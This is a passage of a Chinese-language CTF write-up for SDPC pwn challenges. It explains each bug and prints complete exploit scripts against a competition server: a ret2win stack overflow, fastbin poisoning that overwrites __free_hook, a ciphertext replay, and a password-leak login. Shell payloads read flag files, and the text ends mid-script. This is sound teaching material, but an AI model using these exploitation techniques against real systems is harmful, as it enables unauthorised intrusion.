class="keyword">if</span> entry.startswith(<span class="string">b&quot;FLAG_VALUE=&quot;</span>):</span><br><span class="line">    <span class="built_in">print</span>(entry.decode())</span><br><span class="line">    <span class="keyword">return</span></span><br></pre></td></tr></table></figure><p>也就是说，这题最后不是在程序输出里偶然扫到 flag，而是先拿到 <code>__environ</code>，再沿着环境变量指针表把 <code>FLAG_VALUE=</code> 精确定位出来。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;PzSLwf33o9sKdF01lwD6Qcbd&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-jsonstack"><a href="#pwner-jsonstack" class="headerlink" title="pwner_jsonstack"></a>pwner_jsonstack</h2><ul><li>类型：Pwn</li><li>得分：163</li><li>时间：06&#x2F;06 10:57:30</li></ul><p>这是一个短平快的 ret2win。<br>构造 JSON 包时利用 <code>copy_len</code> 相关的栈拷贝溢出，改写返回地址到 <code>win()</code> 附近，拿到 shell 后直接 <code>cat /flag</code>。</p><p>服务端读取协议时，前 4 字节是包长，后面才是 JSON；真正出问题的是 <code>vuln_copy()</code> 用 <code>copy_len</code> 去拷贝 <code>data</code>，目标栈缓冲区只有 <code>0x20</code> 字节，但返回地址在 <code>0x28</code> 之后，所以只要把长度和数据内容卡好，就能精确撞到返回点。</p><p>实际用的脚本骨架如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;123.56.126.77&quot;</span></span><br><span class="line">PORT = <span class="number">1004</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">build_packet</span>() -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    <span class="comment"># vuln_copy() has a 0x20-byte stack buffer, so RIP sits 0x28 bytes away.</span></span><br><span class="line">    <span class="comment"># Returning to 0x401314 lands inside win() right before system(&quot;/bin/sh&quot;).</span></span><br><span class="line">    data = <span class="string">&quot;A&quot;</span> * <span class="number">40</span> + <span class="string">&quot;\u0014\u0013&quot;</span></span><br><span class="line">    body = <span class="string">&#x27;&#123;&quot;cmd&quot;:&quot;stack&quot;,&quot;data&quot;:&quot;&#x27;</span> + data + <span class="string">&#x27;&quot;,&quot;copy_len&quot;:42&#125;&#x27;</span></span><br><span class="line">    <span class="keyword">return</span> p32(<span class="built_in">len</span>(body)) + body.encode()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">io = remote(HOST, PORT)</span><br><span class="line">io.send(build_packet())</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>这里最关键的包体还是这一段：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">data = <span class="string">&quot;A&quot;</span> * <span class="number">40</span> + <span class="string">&quot;\u0014\u0013&quot;</span></span><br><span class="line">body = <span class="string">&#x27;&#123;&quot;cmd&quot;:&quot;stack&quot;,&quot;data&quot;:&quot;&#x27;</span> + data + <span class="string">&#x27;&quot;,&quot;copy_len&quot;:42&#125;&#x27;</span></span><br><span class="line"><span class="keyword">return</span> p32(<span class="built_in">len</span>(body)) + body.encode()</span><br></pre></td></tr></table></figure><p>关键点有两个：</p><ol><li><code>0x20</code> 栈缓冲区到 RIP 的偏移是 <code>0x28</code>，所以先填满 40 字节；</li><li><code>\u0014\u0013</code> 这两个字节会把返回地址低位改到 <code>0x401314</code>，正好落进 <code>win()</code> 里 <code>system(&quot;/bin/sh&quot;)</code> 前的位置。</li></ol><p>包一发完就直接进交互，后面补一句 <code>cat /flag</code> 即可结束。最后跑通远程的 exp 就是下面这份：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;123.56.126.77&quot;</span></span><br><span class="line">PORT = <span class="number">1004</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">build_packet</span>() -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    <span class="comment"># vuln_copy() has a 0x20-byte stack buffer, so RIP sits 0x28 bytes away.</span></span><br><span class="line">    <span class="comment"># Returning to 0x401314 lands inside win() right before system(&quot;/bin/sh&quot;).</span></span><br><span class="line">    data = <span class="string">&quot;A&quot;</span> * <span class="number">40</span> + <span class="string">&quot;\u0014\u0013&quot;</span></span><br><span class="line">    body = <span class="string">&#x27;&#123;&quot;cmd&quot;:&quot;stack&quot;,&quot;data&quot;:&quot;&#x27;</span> + data + <span class="string">&#x27;&quot;,&quot;copy_len&quot;:42&#125;&#x27;</span></span><br><span class="line">    <span class="keyword">return</span> p32(<span class="built_in">len</span>(body)) + body.encode()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>() -&gt; <span class="literal">None</span>:</span><br><span class="line">    io = remote(HOST, PORT)</span><br><span class="line">    io.send(build_packet())</span><br><span class="line">    io.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;vG7W6wHGOaAC35sMabv6bUuQc&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-LEVEL7"><a href="#pwner-LEVEL7" class="headerlink" title="pwner_LEVEL7"></a>pwner_LEVEL7</h2><ul><li>类型：Pwn</li><li>得分：163</li><li>时间：06&#x2F;06 10:55:03</li></ul><p>先通过堆操作泄露 <code>main_arena+96</code>，据此算出 <code>libc base</code>、<code>__free_hook</code> 和 <code>system</code>。<br>之后在 <code>0x68</code> fastbin 上做 poison，把分配落到 <code>__free_hook - 8</code>，写入 <code>system</code>，最后 <code>free(&quot;/bin/sh&quot;)</code> 拿 shell 读 flag。</p><p>关键脚本里把几个偏移直接写死了：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">MAIN_ARENA_96 = <span class="number">0x1ECBE0</span></span><br><span class="line">SYSTEM = <span class="number">0x52290</span></span><br><span class="line">FREE_HOOK = <span class="number">0x1EEE48</span></span><br></pre></td></tr></table></figure><p>后面的关键动作就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">edit(io, <span class="number">21</span>, <span class="number">8</span>, p64(free_hook - <span class="number">8</span>))</span><br><span class="line">add(io, <span class="number">30</span>, <span class="number">0x68</span>)</span><br><span class="line">add(io, <span class="number">31</span>, <span class="number">0x68</span>)</span><br><span class="line">edit(io, <span class="number">31</span>, <span class="number">16</span>, <span class="string">b&quot;A&quot;</span> * <span class="number">8</span> + p64(system))</span><br><span class="line">delete(io, <span class="number">22</span>)</span><br></pre></td></tr></table></figure><p>这段实际分成两步：</p><ol><li>先填满 <code>0x80</code> fastbin，再从下一块里把 <code>main_arena+96</code> 泄露出来：</li></ol><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>):</span><br><span class="line">    add(io, i, <span class="number">0x80</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">    delete(io, i)</span><br><span class="line">leak = u64(show(io, <span class="number">7</span>, <span class="number">8</span>))</span><br><span class="line">libc_base = leak - MAIN_ARENA_96</span><br></pre></td></tr></table></figure><ol start="2"><li>再在 <code>0x68</code> fastbin 上做 poison，把第二次分配落到 <code>__free_hook - 8</code>，写入 <code>system</code>，最后释放保存了 <code>/bin/sh</code> 的 chunk：</li></ol><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">add(io, <span class="number">20</span>, <span class="number">0x68</span>)</span><br><span class="line">add(io, <span class="number">21</span>, <span class="number">0x68</span>)</span><br><span class="line">add(io, <span class="number">22</span>, <span class="number">0x20</span>)</span><br><span class="line">edit(io, <span class="number">22</span>, <span class="number">8</span>, <span class="string">b&quot;/bin/sh\x00&quot;</span>)</span><br><span class="line"></span><br><span class="line">delete(io, <span class="number">20</span>)</span><br><span class="line">delete(io, <span class="number">21</span>)</span><br><span class="line">edit(io, <span class="number">21</span>, <span class="number">8</span>, p64(free_hook - <span class="number">8</span>))</span><br><span class="line">add(io, <span class="number">30</span>, <span class="number">0x68</span>)</span><br><span class="line">add(io, <span class="number">31</span>, <span class="number">0x68</span>)</span><br><span class="line">edit(io, <span class="number">31</span>, <span class="number">16</span>, <span class="string">b&quot;A&quot;</span> * <span class="number">8</span> + p64(system))</span><br><span class="line">delete(io, <span class="number">22</span>)</span><br></pre></td></tr></table></figure><p>也就是非常标准的 <code>__free_hook</code> 覆写链，只不过前面先借 <code>main_arena+96</code> 把 libc 位置钉死了。最后打远程的完整 exp 如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;123.56.126.77&quot;</span></span><br><span class="line">PORT = <span class="number">1016</span></span><br><span class="line"></span><br><span class="line">MAIN_ARENA_96 = <span class="number">0x1ECBE0</span></span><br><span class="line">SYSTEM = <span class="number">0x52290</span></span><br><span class="line">FREE_HOOK = <span class="number">0x1EEE48</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">start</span>():</span><br><span class="line">    <span class="keyword">return</span> remote(HOST, PORT)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">wait_menu</span>(<span class="params">io</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;&gt;&quot;</span>, timeout=<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">raw_cmd</span>(<span class="params">io, choice, seq, extra=<span class="string">b&quot;&quot;</span></span>):</span><br><span class="line">    wait_menu(io)</span><br><span class="line">    io.send(p32(choice))</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;&gt;&quot;</span>, timeout=<span class="number">5</span>)</span><br><span class="line">    io.send(seq + extra)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">io, idx, size</span>):</span><br><span class="line">    seq = p64(idx) + p64(size) + <span class="string">b&quot;A&quot;</span> * (<span class="number">0xA0</span> - <span class="number">16</span>)</span><br><span class="line">    raw_cmd(io, <span class="number">1</span>, seq)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;mallocing...&quot;</span>, timeout=<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">io, idx, size, data</span>):</span><br><span class="line">    <span class="keyword">assert</span> <span class="built_in">len</span>(data) == size</span><br><span class="line">    seq = p64(idx) + p64(size) + <span class="string">b&quot;ziran\x00&quot;</span> + <span class="string">b&quot;P&quot;</span> * (<span class="number">0xA0</span> - <span class="number">16</span> - <span class="number">6</span>)</span><br><span class="line">    raw_cmd(io, <span class="number">2</span>, seq, data)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;starting to edit:\n&quot;</span>, timeout=<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">io, idx</span>):</span><br><span class="line">    seq = p64(idx) + <span class="string">b&quot;B&quot;</span> * (<span class="number">0xA0</span> - <span class="number">8</span>)</span><br><span class="line">    raw_cmd(io, <span class="number">3</span>, seq)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;freeing...&quot;</span>, timeout=<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">io, idx, size</span>):</span><br><span class="line">    seq = p64(idx) + <span class="string">b&quot;C&quot;</span> * (<span class="number">0xA0</span> - <span class="number">8</span>)</span><br><span class="line">    raw_cmd(io, <span class="number">4</span>, seq)</span><br><span class="line">    io.recvuntil(<span class="string">b&quot;leaking...&quot;</span>, timeout=<span class="number">5</span>)</span><br><span class="line">    io.recvn(<span class="number">1</span>, timeout=<span class="number">5</span>)</span><br><span class="line">    <span class="keyword">return</span> io.recvn(size, timeout=<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">exploit</span>(<span class="params">io</span>):</span><br><span class="line">    add(io, <span class="number">90</span>, <span class="number">0x20</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>):</span><br><span class="line">        add(io, i, <span class="number">0x80</span>)</span><br><span class="line">    add(io, <span class="number">91</span>, <span class="number">0x20</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">        delete(io, i)</span><br><span class="line"></span><br><span class="line">    leak = u64(show(io, <span class="number">7</span>, <span class="number">8</span>))</span><br><span class="line">    libc_base = leak - MAIN_ARENA_96</span><br><span class="line">    free_hook = libc_base + FREE_HOOK</span><br><span class="line">    system = libc_base + SYSTEM</span><br><span class="line"></span><br><span class="line">    log.info(<span class="string">f&quot;main_arena+96 = <span class="subst">&#123;<span class="built_in">hex</span>(leak)&#125;</span>&quot;</span>)</span><br><span class="line">    log.info(<span class="string">f&quot;libc base      = <span class="subst">&#123;<span class="built_in">hex</span>(libc_base)&#125;</span>&quot;</span>)</span><br><span class="line">    log.info(<span class="string">f&quot;__free_hook    = <span class="subst">&#123;<span class="built_in">hex</span>(free_hook)&#125;</span>&quot;</span>)</span><br><span class="line">    log.info(<span class="string">f&quot;system         = <span class="subst">&#123;<span class="built_in">hex</span>(system)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line">    add(io, <span class="number">20</span>, <span class="number">0x68</span>)</span><br><span class="line">    add(io, <span class="number">21</span>, <span class="number">0x68</span>)</span><br><span class="line">    add(io, <span class="number">22</span>, <span class="number">0x20</span>)</span><br><span class="line">    edit(io, <span class="number">22</span>, <span class="number">8</span>, <span class="string">b&quot;/bin/sh\x00&quot;</span>)</span><br><span class="line"></span><br><span class="line">    delete(io, <span class="number">20</span>)</span><br><span class="line">    delete(io, <span class="number">21</span>)</span><br><span class="line">    edit(io, <span class="number">21</span>, <span class="number">8</span>, p64(free_hook - <span class="number">8</span>))</span><br><span class="line"></span><br><span class="line">    add(io, <span class="number">30</span>, <span class="number">0x68</span>)</span><br><span class="line">    add(io, <span class="number">31</span>, <span class="number">0x68</span>)</span><br><span class="line">    edit(io, <span class="number">31</span>, <span class="number">16</span>, <span class="string">b&quot;A&quot;</span> * <span class="number">8</span> + p64(system))</span><br><span class="line"></span><br><span class="line">    delete(io, <span class="number">22</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    io = start()</span><br><span class="line">    exploit(io)</span><br><span class="line">    io.sendline(<span class="string">b&quot;cat /flag&quot;</span>)</span><br><span class="line">    data = io.recvrepeat(<span class="number">2</span>)</span><br><span class="line">    <span class="keyword">match</span> = re.search(<span class="string">rb&quot;SDPC\&#123;[^&#125;\n]+\&#125;&quot;</span>, data)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">match</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="keyword">match</span>.group().decode())</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(data.decode(errors=<span class="string">&quot;replace&quot;</span>))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;nZvk1XNejMH1EXvDx3wODQZUFJRM0&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-LEVEL4"><a href="#pwner-LEVEL4" class="headerlink" title="pwner_LEVEL4"></a>pwner_LEVEL4</h2><ul><li>类型：Pwn</li><li>得分：82</li><li>时间：06&#x2F;06 10:53:07</li></ul><p>题目逻辑是把固定 <code>key</code> 和固定明文做 AES-128-ECB 加密，再和输入比较。<br>直接从源码可知正确密文就是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">69c4e0d86a7b0430d8cdb78070b4c55a</span><br></pre></td></tr></table></figure><p>把这串发过去后进入 <code>shell()</code>，再读 <code>/flag</code> 即可。</p><p>这题的脚本本身也非常直白，核心常量就两个：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">EXPECTED_CIPHERTEXT = <span class="string">b&quot;69c4e0d86a7b0430d8cdb78070b4c55a&quot;</span></span><br><span class="line">READ_FLAG_CMD = <span class="string">b&quot;cat /flag\nexit\n&quot;</span></span><br></pre></td></tr></table></figure><p>完整逻辑就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> socket.create_connection((<span class="string">&quot;123.56.126.77&quot;</span>, <span class="number">1001</span>), timeout=<span class="number">5.0</span>) <span class="keyword">as</span> sock:</span><br><span class="line">    sock.sendall(EXPECTED_CIPHERTEXT + <span class="string">b&quot;\n&quot;</span>)</span><br><span class="line">    time.sleep(<span class="number">0.2</span>)</span><br><span class="line">    sock.sendall(READ_FLAG_CMD)</span><br><span class="line">    sock.shutdown(socket.SHUT_WR)</span><br></pre></td></tr></table></figure><p>先把正确密文送进去，让程序走到 <code>shell()</code>；随后补发 <code>cat /flag</code>，把标准输出完整收回来即可。整个题没有第二层条件，关键点就是别去猜 AES key，而是直接从源码把目标密文抠出来。最终脚本如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">EXPECTED_CIPHERTEXT = <span class="string">b&quot;69c4e0d86a7b0430d8cdb78070b4c55a&quot;</span></span><br><span class="line">READ_FLAG_CMD = <span class="string">b&quot;cat /flag\nexit\n&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">solve</span>(<span class="params">host: <span class="built_in">str</span>, port: <span class="built_in">int</span>, timeout: <span class="built_in">float</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    <span class="keyword">with</span> socket.create_connection((host, port), timeout=timeout) <span class="keyword">as</span> sock:</span><br><span class="line">        sock.settimeout(timeout)</span><br><span class="line">        sock.sendall(EXPECTED_CIPHERTEXT + <span class="string">b&quot;\n&quot;</span>)</span><br><span class="line">        time.sleep(<span class="number">0.2</span>)</span><br><span class="line">        sock.sendall(READ_FLAG_CMD)</span><br><span class="line">        sock.shutdown(socket.SHUT_WR)</span><br><span class="line"></span><br><span class="line">        chunks = []</span><br><span class="line">        <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                chunk = sock.recv(<span class="number">4096</span>)</span><br><span class="line">            <span class="keyword">except</span> socket.timeout:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> chunk:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            chunks.append(chunk)</span><br><span class="line">        <span class="keyword">return</span> <span class="string">b&quot;&quot;</span>.join(chunks)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>() -&gt; <span class="built_in">int</span>:</span><br><span class="line">    parser = argparse.ArgumentParser()</span><br><span class="line">    parser.add_argument(<span class="string">&quot;--host&quot;</span>, default=<span class="string">&quot;123.56.126.77&quot;</span>)</span><br><span class="line">    parser.add_argument(<span class="string">&quot;--port&quot;</span>, default=<span class="number">1001</span>, <span class="built_in">type</span>=<span class="built_in">int</span>)</span><br><span class="line">    parser.add_argument(<span class="string">&quot;--timeout&quot;</span>, default=<span class="number">5.0</span>, <span class="built_in">type</span>=<span class="built_in">float</span>)</span><br><span class="line">    args = parser.parse_args()</span><br><span class="line"></span><br><span class="line">    data = solve(args.host, args.port, args.timeout)</span><br><span class="line">    <span class="built_in">print</span>(data.decode(<span class="string">&quot;latin1&quot;</span>, <span class="string">&quot;replace&quot;</span>))</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="keyword">raise</span> SystemExit(main())</span><br></pre></td></tr></table></figure><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;EaY7FEhL9KxI6uAn5vZ1J8M6&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-LEVEL5"><a href="#pwner-LEVEL5" class="headerlink" title="pwner_LEVEL5"></a>pwner_LEVEL5</h2><ul><li>类型：Pwn</li><li>得分：83</li><li>时间：06&#x2F;06 10:42:40</li></ul><p>登录分支本身就有逻辑问题。<br>先用错误密码触发提示，程序会直接泄露正确密码；然后用 <code>admin + 正确密码</code> 登录，进入可执行命令的分支后读取 flag。</p><p>起手不需要 fuzz，直接走登录功能就能看到问题：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">io.sendline(<span class="string">b&quot;2&quot;</span>)</span><br><span class="line">io.sendline(<span class="string">b&quot;admin&quot;</span>)</span><br><span class="line">io.sendline(<span class="string">b&quot;nope&quot;</span>)</span><br></pre></td></tr></table></figure><p>错误密码分支会把正确密码一并打印出来，脚本里最关键的正则就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">password = re.search(</span><br><span class="line">    <span class="string">rb&quot;The correct password is: ([A-Za-z0-9]+)&quot;</span>, leak</span><br><span class="line">).group(<span class="number">1</span>)</span><br></pre></td></tr></table></figure><p>拿到密码以后，再走一次登录：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">io.sendline(<span class="string">b&quot;2&quot;</span>)</span><br><span class="line">io.sendline(<span class="string">b&quot;admin&quot;</span>)</span><br><span class="line">io.sendline(password)</span><br></pre></td></tr></table></figure><p>进入命令执行分支后，最后直接喂：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cat /flag* <span class="number">2</span>&gt;/dev/null; cat /home/*/flag* <span class="number">2</span>&gt;/dev/null</span><br></pre></td></tr></table></figure><p>所以这题根本不需要做传统内存利用，核心就是一条“错误分支泄露密码 -&gt; 正确登录进命令执行”的业务逻辑链。最后打远程的脚本就是：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span 